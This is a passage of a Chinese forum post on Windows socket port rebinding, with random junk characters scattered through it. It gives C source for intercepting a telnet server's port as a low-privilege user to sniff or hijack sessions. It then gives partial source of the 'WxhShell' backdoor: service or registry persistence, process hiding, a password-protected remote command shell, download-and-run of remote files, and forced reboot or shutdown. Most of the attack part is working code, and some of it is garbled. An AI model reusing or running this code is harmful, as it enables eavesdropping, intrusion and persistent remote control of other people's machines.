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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :^ cA\2=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }NYsKu_cM  
M~"K@g=Wr  
  saddr.sin_family = AF_INET; `q5*VqIhs  
HX=`kkX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *sw$OnVb  
>G-D& A+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W5yqnjK $4  
Fh?q;oEj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;XTP^W!6f  
Ybok[5  
  这意味着什么?意味着可以进行如下的攻击: 6~2!ZU  
$Z;0/\r%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H7\EvIM=  
;ga~ae=Fg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z+vLEEX*uQ  
C"F(kgL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8<g5.$xyz  
#cmj?y()  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7,(:vjIXd  
( E0be.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k@wxN!w;  
y\@XW*_?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0<P -`|X  
R"82=">v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q}m)Q('Rk  
K}wUM^  
  #include qvab >U`  
  #include \ (X~Z  
  #include Z-/ E$j  
  #include    43(+3$VM7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7d9%L}+q  
  int main() Put +<o <  
  { C"YM"9JSJ  
  WORD wVersionRequested; xl<Cstr  
  DWORD ret; "4ovMan  
  WSADATA wsaData; ^WVr@6  
  BOOL val; |#MA?oz3T  
  SOCKADDR_IN saddr; q'1rSK  
  SOCKADDR_IN scaddr; EmH2 Dbw  
  int err; un..UU4  
  SOCKET s; ~s88JLw%&u  
  SOCKET sc; H(""So7L  
  int caddsize; ,rG$JCS'KQ  
  HANDLE mt; O-mP{  
  DWORD tid;   paiF ah  
  wVersionRequested = MAKEWORD( 2, 2 ); km8[azB o  
  err = WSAStartup( wVersionRequested, &wsaData ); 3 UBG?%!$f  
  if ( err != 0 ) { & }}o9  
  printf("error!WSAStartup failed!\n"); ,H.q%!{h_  
  return -1; ya|7hz{  
  } e&wW lB![  
  saddr.sin_family = AF_INET; VV?KJz=,W=  
   *,z__S$Q)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CRS/qso[Q'  
n*'|7#;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v+Ooihxl  
  saddr.sin_port = htons(23); <S5Am%vo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PCD1I98  
  { Pirc49c  
  printf("error!socket failed!\n"); 4m%_#J{  
  return -1; b~cN#w #  
  }  @4H*kA  
  val = TRUE; b^FB[tZ\x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :~g=n&x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0h$23.  
  { + e4o~ p  
  printf("error!setsockopt failed!\n"); S^~GI$  
  return -1; iGm[fxQ|  
  } L%N|8P[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e6]u5;B r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 72Ft?;R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N0/DPZX7  
Bm.%bA>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &|55:Y87  
  { 5H>[@_u+:  
  ret=GetLastError(); y<.1+TG  
  printf("error!bind failed!\n"); Uln[UK  
  return -1; HP&+ 8  
  } *y F 9_\n  
  listen(s,2); M2mte#h  
  while(1) s8eFEi  
  { W}nD#9tL  
  caddsize = sizeof(scaddr); $I+QyKO9k  
  //接受连接请求 <{7B ^'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t&0pE(MO/  
  if(sc!=INVALID_SOCKET) mmEr2\L  
  { Qnph?t>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vA:1z$m  
  if(mt==NULL) jsc1B  
  { BPe5c :z  
  printf("Thread Creat Failed!\n"); X >C*(/a  
  break; fY$M**/,  
  } yp_:] RE  
  } (B]rINY|  
  CloseHandle(mt); k)dLJ<EM  
  } OZs^c2 W  
  closesocket(s); (*BQd1Z  
  WSACleanup(); Pf-k"7y  
  return 0; 7k{C'\m  
  }   (q"Nt_y  
  DWORD WINAPI ClientThread(LPVOID lpParam) '$;S?6$eW  
  { 5c! ~WckbJ  
  SOCKET ss = (SOCKET)lpParam; Hj$JXo[U  
  SOCKET sc;  WOG=Uy$  
  unsigned char buf[4096]; i4&"-ujrm  
  SOCKADDR_IN saddr; G2zfdgW${/  
  long num; @9-z8PyF  
  DWORD val; Hq3"OMGq  
  DWORD ret; X^eTf-*T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q:+,'&<D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tJ i#bg%  
  saddr.sin_family = AF_INET; b_:]Y<{> f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TE3A(N'  
  saddr.sin_port = htons(23); -y)ij``VY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -: dUD1  
  { ^[uA^  
  printf("error!socket failed!\n"); bBn4m:  
  return -1; 8dNwi&4  
  } 7q^o sOj"  
  val = 100; y08.R. l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S{zi8Oc6  
  { :4;ZO~eq!  
  ret = GetLastError(); F /IXqj  
  return -1; D({% FQ"  
  } }v"X.fa^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :na9PW`TC  
  { C%9;~S  
  ret = GetLastError(); "FwbhD0Gb  
  return -1; s(o{SC'tt  
  } 7H %>\^A^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) # 4L[8(+V  
  { mw-0n  
  printf("error!socket connect failed!\n"); T6*naH  
  closesocket(sc); (i^{\zv  
  closesocket(ss); xlZ"F  
  return -1; @bSxT,2  
  } {m.l{<H  
  while(1) PV<=wc^  
  { 1>r7s*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 RtwlPz<~S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }K!}6?17T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 , `ST Va-  
  num = recv(ss,buf,4096,0); *BF5B\[r?  
  if(num>0) M,7A|?O  
  send(sc,buf,num,0); ) wtVFG  
  else if(num==0) >7[. {Y  
  break; 3Un q 9  
  num = recv(sc,buf,4096,0); n,q+EZd  
  if(num>0) }1VxMx@  
  send(ss,buf,num,0); )7l+\t  
  else if(num==0) e)]9u$x  
  break; jeXv)}  
  } K[!OfP  
  closesocket(ss); p%pM3<p  
  closesocket(sc); 8D@H4O.  
  return 0 ; }RowAGWL  
  } s<Px au+A  
=i O K($  
[*GIR0  
========================================================== .$pW?C 3e  
.&:y+Oww~  
下边附上一个代码,,WXhSHELL |2z?8lx  
mtu/kd'(  
========================================================== >~8;H x].d  
;[V_w/-u  
#include "stdafx.h" $O9Nprf  
EnnT)qos  
#include <stdio.h> YBqu7&  
#include <string.h> bi;?)7p&ZY  
#include <windows.h> T[]2]K[&B  
#include <winsock2.h> {/#^v?,  
#include <winsvc.h> 9JYrP6I!_  
#include <urlmon.h> Y&!M#7/'J3  
,7&`V=C  
#pragma comment (lib, "Ws2_32.lib") ZG:#r\a  
#pragma comment (lib, "urlmon.lib") ACm9H9:Vd  
|\;oFuCv##  
#define MAX_USER   100 // 最大客户端连接数 +[C dd{2  
#define BUF_SOCK   200 // sock buffer /`McKYIP  
#define KEY_BUFF   255 // 输入 buffer K<TVp;N  
WDQtj$e+  
#define REBOOT     0   // 重启 Y /$`vgqs  
#define SHUTDOWN   1   // 关机 =@q 9,H  
6 2GP1qH9  
#define DEF_PORT   5000 // 监听端口 ?a?i8rnWo  
l$N b1&  
#define REG_LEN     16   // 注册表键长度 sLrSi  
#define SVC_LEN     80   // NT服务名长度 Z M_ 6A1  
ywWF+kR_  
// 从dll定义API qKNX^n;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y7(E<1Yx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ChO?Lm$y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uTTM%-DMHT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); })RT2zw}  
Whp;wAz  
// wxhshell配置信息 B7BXS*_b  
struct WSCFG { q_S`@2Dzz,  
  int ws_port;         // 监听端口 C%_^0#8-0  
  char ws_passstr[REG_LEN]; // 口令 /J!C2  
  int ws_autoins;       // 安装标记, 1=yes 0=no IA_>x9 (~  
  char ws_regname[REG_LEN]; // 注册表键名 6$c,#%Jt*  
  char ws_svcname[REG_LEN]; // 服务名 7ADh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e&%m[:W:<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jf6u E?.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XN65bq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b Lag&c)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~_<I}!j/B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $.{CA-~%[  
v0hr~1  
}; ' NCxVbyYD  
2r;^OWwr?  
// default Wxhshell configuration 1&N|k;#QS  
struct WSCFG wscfg={DEF_PORT, \)Jv4U\;  
    "xuhuanlingzhe", &* GwA  
    1, !_0kn6 S5  
    "Wxhshell", LoZ8;VU  
    "Wxhshell", 7LMad%  
            "WxhShell Service", f[v~U<\R  
    "Wrsky Windows CmdShell Service", ~3-2Iu^F  
    "Please Input Your Password: ", yem*g1  
  1, NCbl|v=  
  "http://www.wrsky.com/wxhshell.exe", )#ze  
  "Wxhshell.exe" s 33< }O0  
    }; rK&ofc]f$  
CY2DxP%  
// 消息定义模块 .Rl58]x~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EGMj5@>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8was/^9;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5"(AqXoq  
char *msg_ws_ext="\n\rExit."; t95hI DtD  
char *msg_ws_end="\n\rQuit."; SjgF&LD  
char *msg_ws_boot="\n\rReboot..."; *4}l V8  
char *msg_ws_poff="\n\rShutdown..."; S~^0 _?  
char *msg_ws_down="\n\rSave to "; k#"Pv"  
Ij; =  
char *msg_ws_err="\n\rErr!"; _\yrR.HIa  
char *msg_ws_ok="\n\rOK!"; h $)t hW  
bSHlR#!6  
char ExeFile[MAX_PATH]; N_S>%Z+  
int nUser = 0; QYDTb=h~  
HANDLE handles[MAX_USER]; 8\c= Un  
int OsIsNt; {MX_t/o=f  
86d *  
SERVICE_STATUS       serviceStatus; | rJ_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pL`snVz  
ONQp-$  
// 函数声明 'TclH80  
int Install(void); f:iK5g  
int Uninstall(void); *]G&pmMs  
int DownloadFile(char *sURL, SOCKET wsh); AMqu}G  
int Boot(int flag); R<W#.mpo6  
void HideProc(void); .UNh\R?r  
int GetOsVer(void); m(JFlO  
int Wxhshell(SOCKET wsl); 6S?a57;&W  
void TalkWithClient(void *cs); a(CZGIB  
int CmdShell(SOCKET sock); -x )(2|  
int StartFromService(void); G3QB Rh{  
int StartWxhshell(LPSTR lpCmdLine); .XM3oIaW  
rXo2MX@u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kfb+OE:7  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  iqf+rBL  
i gzISYC_  
// 数据结构和表定义 &8t?OpB =h  
SERVICE_TABLE_ENTRY DispatchTable[] = 'R6D+Vk/  
{ ]7kq@o/7  
{wscfg.ws_svcname, NTServiceMain}, ~D@pk>I  
{NULL, NULL} E&0A W{  
}; :6LOb f\01  
Y1AbG1n|  
// 自我安装 ,u QLXF2  
int Install(void) {(G@YG?  
{ e 1{t qNJ  
  char svExeFile[MAX_PATH]; R7T"fN  
  HKEY key; >VP\@xt(R[  
  strcpy(svExeFile,ExeFile); :7Mo0,Bw,  
sw*k(i  
// 如果是win9x系统,修改注册表设为自启动 Y%qhgzz?/  
if(!OsIsNt) { 9B Lz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `g% ]z@'+?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |w[}\#2  
  RegCloseKey(key); ]>E9v&X0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sw#Ez-X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wf_aEW&n  
  RegCloseKey(key); ,: w~-   
  return 0; [K13Jy+  
    } O89<IXk  
  } lsW.j#yE!  
} S$%/9^\jF  
else { =Z/'|;Vd_x  
+YT/od1t7  
// 如果是NT以上系统,安装为系统服务 6N.mSnp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0]8+rWp|Nz  
if (schSCManager!=0) FVG|5'V^  
{ 3leg,q d  
  SC_HANDLE schService = CreateService ^w2n  
  ( Pb} &c  
  schSCManager, ?>q=Nf^Q.  
  wscfg.ws_svcname, A4';((OXy  
  wscfg.ws_svcdisp, V]H<:UE  
  SERVICE_ALL_ACCESS, PGT!HdX#{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tv3ZNh  
  SERVICE_AUTO_START, I>/`W  
  SERVICE_ERROR_NORMAL, 3D\.S j%  
  svExeFile, ^'QcP5Fv  
  NULL, oD{V_/pdx  
  NULL, A#1aO  
  NULL, f]T1:N*t  
  NULL,  g/+M&k$  
  NULL l@1f L%f  
  ); sLbz@54  
  if (schService!=0) toTAWT D  
  { /dOQ4VA\  
  CloseServiceHandle(schService); =i%2/kdi0b  
  CloseServiceHandle(schSCManager); PyYKeo=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0x^$q? \A  
  strcat(svExeFile,wscfg.ws_svcname); T<zonx1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7u5B/M!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9][Mw[k>  
  RegCloseKey(key); c}Z,xop<P{  
  return 0; rA*,)I_v@  
    } AG}' W  
  } ZM; EjS1  
  CloseServiceHandle(schSCManager); [$[t.m  
} ieBW 0eMi  
} (/"T=`3t  
]CC~Eo-%-  
return 1; w?M*n<) O  
} +\Q6Onqr  
@T/C<-/:  
// 自我卸载 vW$] :).  
int Uninstall(void) jn}6yXB  
{ ie.cTTOI  
  HKEY key; gK)B3dH*&  
7C2/^x P  
if(!OsIsNt) { Qg 6m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A9l^S|r  
  RegDeleteValue(key,wscfg.ws_regname); $<s@S;Ri  
  RegCloseKey(key); <S$y=>.9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w5n>hz_5  
  RegDeleteValue(key,wscfg.ws_regname); nj7Ri=lyS  
  RegCloseKey(key); Z/-%Eb]L1  
  return 0; '2[ _U&e  
  } ^"buF\3L  
} Bl`e+&b  
} '[-H].-!   
else { #i2q}/w5`C  
'3hvR4P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^* DKF  
if (schSCManager!=0) 0l 3RwWj  
{ 4QI vxH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ @1&G~x  
  if (schService!=0) `SW`d<+L  
  { eHnC^W}|s  
  if(DeleteService(schService)!=0) { 82/iVm1  
  CloseServiceHandle(schService); +Z;0"'K'e  
  CloseServiceHandle(schSCManager); +'#d*r91@  
  return 0; 3^ Z tIZ  
  } tQ&#FFt,)  
  CloseServiceHandle(schService); uDoSe^0  
  } Jb tbW &EH  
  CloseServiceHandle(schSCManager); f4tia .  
} :cC`wX$  
} {Z?!*Ow  
z0Zl'  
return 1; ,JZ@qmQ,  
} 0]HK (,/h  
=u;q98r  
// 从指定url下载文件 sg6cq_\  
int DownloadFile(char *sURL, SOCKET wsh) ,RT\&Ze5  
{ JK_$A;Q  
  HRESULT hr; @~N#)L^  
char seps[]= "/"; KPO((G0&  
char *token; IS=)J( 0  
char *file; QM_~w \  
char myURL[MAX_PATH]; H+ M ~|Ju7  
char myFILE[MAX_PATH]; Ppp&3h[dW)  
&Y#9~$V=  
strcpy(myURL,sURL); QiRzA4-zq  
  token=strtok(myURL,seps); 9QX{b+}"e  
  while(token!=NULL) D 3HB`{  
  { 3=K-+dhk|t  
    file=token; Ys3C'Gc  
  token=strtok(NULL,seps); G: &Q)_  
  } l{pF^?K  
4PF4#  
GetCurrentDirectory(MAX_PATH,myFILE); <s{/ka3  
strcat(myFILE, "\\"); #{ ?oUg>$  
strcat(myFILE, file); _|Dt6  
  send(wsh,myFILE,strlen(myFILE),0); !EW]: u  
send(wsh,"...",3,0); oNh .Zgg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0y ;gi3W  
  if(hr==S_OK) c`jTdVD  
return 0; :8QG$Ua1  
else H{$yy)@F  
return 1; "1nd~ BBOw  
d8r+UP@#  
} \Q)~'P3  
/kWWwy<  
// 系统电源模块 i*; V4zh  
int Boot(int flag) dJ;;l7":~  
{ G?V3lQI1n  
  HANDLE hToken; k/mY. 2yPv  
  TOKEN_PRIVILEGES tkp; V('b|gsEo  
W ][IHy<   
  if(OsIsNt) { p,0 \NUC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7yj2we  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G^OSXf5  
    tkp.PrivilegeCount = 1; =1JRu[&]8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o. _^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); So 5{E 4[  
if(flag==REBOOT) { nbRg<@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i'u;"ot=  
  return 0; a3)#tt=rA  
} j>:T)zhyY  
else { @]7\.>)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ynd}w G'  
  return 0; oy'+n-  
} @Uu\x~3y  
  } x~z 2l#ow  
  else { -|T^  
if(flag==REBOOT) { Af%?WZlOq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FP Mk&  
  return 0; GJ$,@  
} g-s@m}[T  
else { V:+bq`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oe<Y,%u"6  
  return 0; hh{liS% 10  
} d"cfSH;h  
}  (M=Br  
uXC?fMWp.  
return 1; O*PHo_&G  
} ) jvkwC  
RAxz+1JT  
// win9x进程隐藏模块 -I*A  `M  
void HideProc(void) Ij8tBT?jlL  
{ e{O5y8,  
:Ry 24X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {V&7JZl,/  
  if ( hKernel != NULL ) c%dy$mkqgK  
  { b(VU{cf2d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~_&.A*Jh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +!Ltn  
    FreeLibrary(hKernel); vqHJc2yYkZ  
  } .s?OKy  
-a[{cu{  
return; >tzXbmFp;  
} _7;^od=C  
#+G2ZJxL|  
// 获取操作系统版本 P:TpB6.=q  
int GetOsVer(void) ,+RO 5n  
{ 1L|(:m+  
  OSVERSIONINFO winfo; ? `KOW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w;(gi  
  GetVersionEx(&winfo); S#9SAX [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [:'n+D=T3M  
  return 1; C"{on%  
  else (D{}1sZBQ  
  return 0; #.)>geLC>9  
} ""d>f4,S  
iQF}x&a<  
// 客户端句柄模块 ~}AP@t*  
int Wxhshell(SOCKET wsl) {;E/l(HNI  
{ yDC97#%3u  
  SOCKET wsh; ,Ai i>D]  
  struct sockaddr_in client; ;cr6Xop#?  
  DWORD myID; c v 9 6F  
>N J$ac  
  while(nUser<MAX_USER) Wd AGZUp  
{ SS~Q;9o  
  int nSize=sizeof(client); gT OMD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lo:~~l  
  if(wsh==INVALID_SOCKET) return 1; c5R{Sl  
yh:,[<q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z]f2&  
if(handles[nUser]==0) x,dv ~QU  
  closesocket(wsh); q@9 i3*q;  
else mmL~`i/  
  nUser++; ;Y^RF?un  
  } <^Tj}5 )n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m #QI*R XP  
O| ]Ped9  
  return 0; W6T&hB  
} 5KR|p Fq  
6hK"k  
// 关闭 socket DeA'D|  
void CloseIt(SOCKET wsh) HqBPY[;s  
{ >G2-kL_  
closesocket(wsh); PuaosMn(9  
nUser--; D 8Rmxq!  
ExitThread(0); PNgMLQI6  
} ai4^NJn  
c!Vc_@V,  
// 客户端请求句柄 29^bMau)v  
void TalkWithClient(void *cs) 3L?a4,Q"k}  
{ GuWBl$|+b  
fm>K4\2  
  SOCKET wsh=(SOCKET)cs; ]F;]<_  
  char pwd[SVC_LEN]; 2hJ3m+N^  
  char cmd[KEY_BUFF]; ,~xU>L^  
char chr[1]; "}p?pF<'0  
int i,j; --`LP[ll  
#\BI-zt  
  while (nUser < MAX_USER) { )`mF.87b&h  
dY<#a,eS  
if(wscfg.ws_passstr) { ; ZV^e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5R`6zhf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `YNC_r#tG  
  //ZeroMemory(pwd,KEY_BUFF); %E"/]!}3  
      i=0; "NH+qQhs  
  while(i<SVC_LEN) { 7RE6y(V1  
B:4qW[U#  
  // 设置超时 ~^~RltY  
  fd_set FdRead; tq[",&K  
  struct timeval TimeOut; ~@b}=+n  
  FD_ZERO(&FdRead); \C#b@xLnX  
  FD_SET(wsh,&FdRead); 5,BkwAr+6[  
  TimeOut.tv_sec=8; y=xe<#L  
  TimeOut.tv_usec=0; Xl6ZV,1=n7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0DIM]PS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kZ-~ ;fBe  
ws>Iyw.u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }#>d2 =T$  
  pwd=chr[0]; n "KJB  
  if(chr[0]==0xd || chr[0]==0xa) {  _np>({  
  pwd=0; 8;\tP29  
  break; j jT 2k  
  } MZW Y  
  i++; 0C+y q'D~[  
    } vC<kpf!  
]#q7}Sd  
  // 如果是非法用户,关闭 socket )^S^s >3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b[o"Uq@8?  
} 50bP&dj&  
|uwteG5?$s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TL{pc=eBo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .N5R?fmD  
rbun5&RCyW  
while(1) { gc7:Rb^E5t  
Rn(F#tI  
  ZeroMemory(cmd,KEY_BUFF); I+?$4SC  
u$,Wyi )L  
      // 自动支持客户端 telnet标准   rI66frbj  
  j=0; JvJ!\6Q@  
  while(j<KEY_BUFF) { T>Rf?%o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5uJP) S?  
  cmd[j]=chr[0]; eKpxskbhZ  
  if(chr[0]==0xa || chr[0]==0xd) { _<F@(M5  
  cmd[j]=0; QqK{~I|l  
  break; ]AA*f_!  
  } r]EZ)qp^@  
  j++; X:-bAu}D  
    } Y1_6\zpA  
lPQ Ut!xI  
  // 下载文件 $4*E\G8  
  if(strstr(cmd,"http://")) { C+]q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x*"pDI0k)  
  if(DownloadFile(cmd,wsh)) pkV\D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}WhE  
  else X`v79`g_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FlA\Ad;v  
  } l)PFzIz=V  
  else { vua1iN1  
aco}pXz  
    switch(cmd[0]) { <\9Ijuq}k  
  V?V)&y] 4  
  // 帮助 HD8"=7zJk  
  case '?': { 9EA !j}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C`~4q<W'  
    break; q,,>:]f#  
  } 3G/ mB  
  // 安装 (zro7gKked  
  case 'i': { OG?j6q hpl  
    if(Install()) tqwk?[y}+l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_g?y)  
    else J%-lw{FC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vH?+JN"A  
    break; pT;-1c%:  
    } c>WpOZ,  
  // 卸载 'UXj\vJ3E  
  case 'r': { -G<2R"Q#N  
    if(Uninstall()) )av'u.]%c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JU=\]E@8c  
    else C(1A8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > ?{iv1  
    break; N7HbOLpM  
    } 6[3Ioh  
  // 显示 wxhshell 所在路径 Zj+}T  
  case 'p': {  Vq)gpR  
    char svExeFile[MAX_PATH]; X6N]gD  
    strcpy(svExeFile,"\n\r"); V.QzMF"o  
      strcat(svExeFile,ExeFile); L3=YlX`UL  
        send(wsh,svExeFile,strlen(svExeFile),0); <&Y}j&(  
    break; >gZk 581/  
    } gC_s\WU  
  // 重启 6(q`Oj  
  case 'b': { o|^?IQ7bpf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3VRZM@i  
    if(Boot(REBOOT)) _Dcc<-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sg6w7fp>  
    else { oA3W {  
    closesocket(wsh); k"^t?\Q%vI  
    ExitThread(0); .M53, 8X  
    } &b@!DAwAJ  
    break; 9p\wTzA  
    } 1nlE3Y?AV  
  // 关机 sRe#{EuJ  
